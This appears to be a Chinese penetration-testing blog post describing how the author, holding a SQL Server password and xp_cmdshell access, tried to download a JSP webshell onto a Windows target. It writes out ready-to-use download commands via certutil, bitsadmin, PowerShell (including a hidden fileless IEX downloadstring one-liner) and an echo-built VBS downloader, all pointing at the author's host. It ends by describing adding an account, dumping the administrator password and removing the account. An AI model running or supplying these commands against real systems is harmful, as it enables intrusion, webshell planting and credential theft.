记一次Windows远程下载文件
PS. 吐了这火绒,只要一编辑该文章就提示木马病毒。
前言
测试过程中拿到了目标机器的数据库(sqlserver数据库)连接密码,通过Navicat连接上数据库后将xp_cmdshell扩展存储过程开启能够执行系统命令,遂想着通过执行命令将菜刀马远程下载下来并移动到Web目录,然后通过菜刀进行管理。
尝试方法
由于目标站点是jsp的,加上jsp的菜刀马有整整10Kb,所以echo写进去是不指望了,还有就是由于是在目标现场测试,连接的网络不能够正常使用ssh连接公网服务器,所以想利用自己的vps反弹一个shell也行不通了;有想过使用kali虚拟机来反弹,但是连接的网络能够到目标服务器,但是服务器那边流量过不来,猝。
远程下载
certutil
Certutil是一个命令行程序,主要是作为证书服务的一部分安装。可以使用ertutil转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件,以及验证证书,密钥对和证书链。当然也可以利用该命令来下载远程服务器上的文件到本地。详细使用请使用如下命令查看:
certutil /?
使用certutil下载文件:
远程下载文件并保存到C盘的根目录,保存文件名为aa.jsp。如果不指定保存路径,默认是保存在当前目录。好巧不巧的目标服务器是Windows Server 2003的,使用这个正常的方式会提示错误。
certutil -urlcache -split -f http://192.168.0.4:90/cmd.jsp c:\aa.jsp
排查问题:
当时在Navicat上执行这个命令下载的时候一直提示这个,后来各种尝试也不行,最后我把指定保存路径那个去掉了没提示错误,虚拟机环境没问题,但是当时实际下载的时候http的日志也没有,虽然提示下载成功了但是文件还是没上去。还有就是这个方式不指定保存的路径以及文件名的话默认是将文件下载下来保存为Blob0_0.bin文件了,这里直接将后缀改了就可以。
certutil -urlcache -split -f http://192.168.0.4:90/cmd.jsp
测试的时候这个方法也一直没成功,本地测试正常,可能是网络问题,就算网络有问题也要试一试其他的方法。
bitsadmin
这个命令具体是用来做什么的没查到,只说的可以用来远程下载文件。具体帮助文档使用如下命令查看:
bitsadmin /?
使用bitsadmin下载文件:
好巧不巧的Windows Server 2003不支持这个命令;但是往上的版本就可以支持这个命令了,如果目标机器支持该命令的话也可以使用该命令来下载文件。使用bitsadmin命令下载文件并保存到指定目录(需要指定保存目录以及文件名,不指定的话会提示错误):
bitsadmin /rawreturn /transfer getfile http://192.168.0.4:90/cmd.jsp c:\win08.jsp
该命令还有其他姿势。
powershell
Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。直接在cmd下面输入powershell就可以进入到powershell的环境,然后执行相应命令,也可以在cmd命令行环境中执行。例如:
powershell echo hello
使用powershell下载文件:
好巧不巧的我自己Windows Server 2003的虚拟机默认是没有powershell的,我以为目标机器也没有,当时就没尝试这个命令,后来才发现目标有powershell环境,大意了。
使用powershell远程下载文件并保存到指定目录:
powershell (Invoke-WebRequest -Uri "http://192.168.0.4:90/jsp.jsp" -OutFile "c:\111.jsp")
使用powershell远程下载文件并保存到指定目录:
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.0.4:90/jsp.jsp','c:\222.jsp')
使用powershell远程下载文件并在内存中执行,文件不落地,适合无文件渗透,有时候为了bypass杀软,可以对该命令进行混淆,有时间再记录:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.4:90/jsp.jsp'))"
除开使用类似的命令下载文件之外还可以创建powershell文件,通过指定powersehll文件来实现远程下载。
VBS
VBScript简称VBS,是Microsoft微软开发的一门脚本语言,其目的是方便windows管理管理windows操作系统。
使用VBS下载文件:
当已经能够在目标服务器上执行系统命令了之后,要想上传其他文件到目标机器上,可以使用vbs脚本语言来实现,使用echo将vbs的代码写入到指定的文件之中,然后再执行该vbs脚本即可。
通过echo将vbs脚本写入到C盘的的download.vbs文件中,并将下载的文件保存为C盘的333.jsp:
echo Set Post = CreateObject("Msxml2.XMLHTTP") >> c:\download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >> c:\download.vbs
echo Post.Open "GET","http://192.168.0.4:90/jsp.jsp",0 >>c:\download.vbs
echo Post.Send() >> c:\download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >> c:\download.vbs
echo aGet.Mode = 3 >> c:\download.vbs
echo aGet.Type = 1 >> c:\download.vbs
echo aGet.Open() >> c:\download.vbs
echo aGet.Write(Post.responseBody) >> c:\download.vbs
echo aGet.SaveToFile "C:\333.jsp",2 >> c:\download.vbs
执行该vbs脚本:
cmd /c c:\download.vbs
然后文件就已经成功的下载了。
结果
Windows远程下载文件的姿势还有很多,后面有时间会继续测试,然后这次的测试结果就是所有的尝试都失败了,文件就是传不过去,心里毛燥燥的;由于用户权限是管理员,可以添加账户,然后就创建了一个账户,远程桌面连接过去,复制粘贴放上去了;然后顺便dump了一下管理员的密码,最后删除创建的用户跑路。